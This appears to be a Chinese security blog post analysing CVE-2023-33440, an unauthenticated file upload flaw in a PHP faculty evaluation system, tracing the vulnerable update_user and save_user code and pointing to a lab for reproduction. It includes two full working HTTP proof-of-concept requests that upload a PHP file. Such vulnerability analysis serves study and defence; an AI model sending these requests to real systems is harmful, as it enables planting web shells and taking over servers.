CVE-2023-33440源码分析

CVE-2023-33440源码分析

青春计协 2025-01-20 02:34

CVE-2023-33440源码分析

免责声明

由于传播、利用本公众号”小妖怪想学安全
“所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号”小妖怪想学安全”及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉谢谢!

0、漏洞描述

oretnom23 的教师评估系统 v1.0 具有未授权文件上传功能

源码下载地址:

https://www.sourcecodester.com/php/14635/faculty-evaluation-system-using-phpmysqli-source-code.html

2、CVE编号

CVE-2023-33440

3、源码分析-update_user

  1. 先分析poc
POST /ajax.php?action=update_user HTTP/1.1Host: xxx.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Length: 741Content-Type: multipart/form-data; boundary=---------------------------166782539326470Connection: close-----------------------------166782539326470Content-Disposition: form-data; name="id"1-----------------------------166782539326470Content-Disposition: form-data; name="firstname"Administrator-----------------------------166782539326470Content-Disposition: form-data; name="lastname"a-----------------------------166782539326470Content-Disposition: form-data; name="email"admin@admin.com-----------------------------166782539326470Content-Disposition: form-data; name="password"admin-----------------------------166782539326470Content-Disposition: form-data; name="img"; filename="php.php"Content-Type: application/octet-stream<?php phpinfo();?>-----------------------------166782539326470--
  1. 通过poc可以注意一个三个点:

  2. 漏洞是在那个文件产生的:ajax.php

  3. 传递的参数:action=update_user

  4. 漏洞类型:文件上传

  5. 来到下载好的源码中,找到ajax.php,并打开,两个重要的点

  1. 包含了:admin_class.php

  2. action
    的值为update_user
    时就会执行Action类中大的update_user()方法

  3. 现在来到admin_class.php
    ,文件,可以看到这个文件里边就有Action这类的源码

  1. 现在就直接在这个类里边找,update_user
    的源码,实现了文件上传的功能,并且没有任何拦截,并且在传递参数时,如果有id有值就打印整个查询语句

  1. 所以现在可以重构一下poc,这样就简单一点了
POST /ajax.php?action=update_user HTTP/1.1Host: xxx.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateX-Requested-With: XMLHttpRequestContent-Length: 312Content-Type: multipart/form-data; boundary=---------------------------166782539326470Connection: close-----------------------------166782539326470Content-Disposition: form-data; name="id"1-----------------------------166782539326470Content-Disposition: form-data; name="img"; filename="php.php"Content-Type: application/octet-stream<?php phpinfo();?>-----------------------------166782539326470--

4、源码分析-save_user

  1. 在ajax.php文件中还有一个save_user
    ,值也一样存在相同的漏洞

  1. 直接来到admin_class.php
    ,的save_user
    方法,和上边是一样的

  1. 这里和上边不一样的点就是,不会打印文件名,但是这个文件名是通过时间戳生产的

5、复现

  1. 直接去春秋云境:https://yunjing.ichunqiu.com/cve/detail/1123?pay=2

搜索该漏洞编号即可进行复现

  1. 发包

  1. 访问上传的文件